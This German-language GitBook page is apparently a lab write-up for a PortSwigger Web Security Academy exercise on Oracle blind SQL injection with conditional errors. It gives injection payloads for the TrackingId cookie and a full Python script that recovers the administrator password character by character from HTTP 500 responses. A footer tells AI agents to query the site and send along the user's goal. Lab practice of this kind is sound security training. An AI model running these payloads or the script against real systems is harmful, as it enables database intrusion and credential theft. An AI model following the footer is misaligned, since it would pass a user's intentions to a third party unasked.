> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/sql-injection/blind-sql-injection-with-conditional-errors.md).

# Blinde SQL-Injection mit bedingten Fehlern

Notizen zu blinder SQL-Injection mit bedingten Fehlern für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### Blind SQL-Injection mit bedingten Fehlern

**Hintergrund:** der Wert des `TrackingId` Cookie wird in eine SQL-Abfrage eingefügt. Die Anwendung gibt das Ergebnis nicht direkt zurück, sondern löst einen \*\*HTTP-Fehler 500\*\* aus, wenn der SQL-Ausdruck eine Ausnahme verursacht (hier `TO_CHAR(1/0)` unter Oracle). Wir verwenden diese Zeichenfolge: Wenn die Bedingung wahr ist → Fehler 500, andernfalls Antwort 200. Die Basis enthält eine `users(username, password)` Tabelle. Ziel: Das Passwort aus `administrator` und verbinden.

#### Technisches Prinzip (schnell)

* Das Cookie enthält einen Ausdruck, der einen Fehler erzwingt, wenn die Bedingung wahr ist, z. B. (Oracle):

{% code overflow="wrap" %}

```sql
' || (SELECT CASE WHEN <condition> THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
```

{% endcode %}

* Wenn `<condition>` ist wahr → die Anfrage verursacht eine Division durch Null → die Anwendung gibt `500` → Bit = 1. Andernfalls `200` → Bit = 0.
* Verwenden Sie `SUBSTR`/`LENGTH` um Zeichen für Zeichen zu extrahieren.

#### Beispiel-Payloads (Oracle)

* Prüfen Sie die Existenz des Benutzers:

  ```sql
  ' || (SELECT CASE WHEN (SELECT 'a' FROM users WHERE username='administrator') = 'a' THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```
* Länge testen = 20 :

  ```sql
  ' || (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='administrator') = 20 THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```
* Ein Zeichen an Position i testen:

  ```sql
  ' || (SELECT CASE WHEN (SELECT SUBSTR(password, i, 1) FROM users WHERE username='administrator') = 'X' THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```

(`FROM dual` / Die Struktur kann an die in die Anwendung injizierte Anfrage angepasst werden.)

### Automatisiertes Skript

```python
#!/usr/bin/env python3

import requests
import signal
import sys
import time
from string import ascii_letters, digits

# Sauberes Ctrl+C-Handling
def def_handler(sig, frame):
    print("/nUnterbrochen. Beende./n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)

# --- Konfiguration ---
MAIN_URL = "https://0a8a00f80354f1b1803108ce00e700b6.web-security-academy.net/"
TRACKING_BASE = "HNDtc0c9ybTvqk9m"   # legitimer Teil der TrackingId
SESSION_VALUE = "ZXuQT8xMsrBLG8KFDqvrccJDGFe8Z6Ra"
TIMEOUT = 6
SLEEP_BETWEEN = 0.15
MAX_PW_LEN = 50           # maximale zu testende Länge
ALPHABET = ascii_letters + digits + "!@#$%_-{}[]()"  # anpassen, wenn Sie das Alphabet kennen

HEADERS = {"User-Agent": "Mozilla/5.0"}

# --- Hilfsfunktionen ---
def send_payload(payload):
    cookies = {"TrackingId": payload, "Session": SESSION_VALUE}
    try:
        r = requests.get(MAIN_URL, cookies=cookies, headers=HEADERS,
                         timeout=TIMEOUT, allow_redirects=False, verify=True)
        return r.status_code
    except requests.exceptions.RequestException as e:
        print(f"[!] Anfrage fehlgeschlagen: {e}")
        return None

def make_error_payload(condition_sql):
    """
    Erzeugt die vollständige TrackingId für Oracle:
    z. B.: TRACKING_BASE' || (SELECT CASE WHEN <cond> THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
    """
    # Die Bedingung in die Unterabfrage einbetten, die für den Administrator eine Zeile zurückgibt.
    payload = (f"{TRACKING_BASE}'|| (SELECT CASE WHEN ({condition_sql}) "
               f"THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') ||'")
    return payload

# --- Schritt 1: Passwortlänge erkennen (optional, aber nützlich) ---
def detect_length(max_len=MAX_PW_LEN):
    print("[*] Passwortlänge wird erkannt...")
    for n in range(1, max_len + 1):
        cond = f"(SELECT LENGTH(password) FROM users WHERE username='administrator') = {n}"
        payload = make_error_payload(cond)
        code = send_payload(payload)
        if code == 500:
            print(f"[+] Erkannte Länge: {n}")
            return n
        time.sleep(SLEEP_BETWEEN)
    print("[!] Keine Länge <= max_len erkannt; erwägen Sie, max_len zu erhöhen")
    return None

# --- Schritt 2: Zeichenweise Extraktion ---
def extract_password(length=None):
    if length is None:
        length = detect_length()
        if length is None:
            # Fallback: Positionen bis zum Fehlschlag ausprobieren
            length = MAX_PW_LEN

    password = ""
    print(f"[*] Extraktion (angenommene Länge = {length})")
    for pos in range(1, length + 1):
        found = False
        for ch in ALPHABET:
            # SUBSTR(password, pos, 1) = 'ch'
            cond = f"(SELECT SUBSTR(password, {pos}, 1) FROM users WHERE username='administrator') = '{ch}'"
            payload = make_error_payload(cond)
            code = send_payload(payload)
            if code == 500:
                password += ch
                print(f"[+] pos={pos} -> '{ch}' (bisheriges Passwort: {password})")
                found = True
                time.sleep(SLEEP_BETWEEN)
                break
            # kurze Pause zwischen den Versuchen
            time.sleep(0.01)
        if not found:
            print(f"[-] Kein Zeichen an Position {pos} gefunden -> wahrscheinliches Ende. Passwort: {password}")
            break
    return password

if __name__ == "__main__":
    # Länge erkennen, dann extrahieren
    detected_len = detect_length(max_len=30)   # max_len an die Umgebung anpassen
    recovered = extract_password(length=detected_len)
    print(f"/n[=] Wiederhergestelltes Passwort (teilweise/geschätzt): {recovered}/n")
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-585f1015331c57ed2e5f870e7880d9048234958c%2F%7B3C0B8C0B-3EB1-47F4-BD9A-BB49DE8B3E9B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/sql-injection/blind-sql-injection-with-conditional-errors.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
